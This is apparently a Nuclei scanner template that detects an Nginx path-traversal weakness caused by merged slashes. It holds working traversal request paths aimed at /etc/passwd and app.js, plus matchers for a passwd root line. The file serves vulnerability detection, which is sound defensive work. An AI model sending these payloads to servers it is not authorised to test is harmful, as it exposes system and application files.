id: nginx-merge-slashes-path-traversal

info:
  name: Nginx Merge Slashes Path Traversal
  author: dhiyaneshDk
  severity: medium
  description: A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
    - https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
  tags: exposure,config,lfi,nginx

requests:
  - method: GET
    path:
      - "{{BaseURL}}///////../../../etc/passwd"
      - "{{BaseURL}}/static///////../../../../etc/passwd"
      - "{{BaseURL}}///../app.js"

    stop-at-first-match: true
    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "app.listen"
        part: body
        condition: or

      - type: status
        status:
          - 200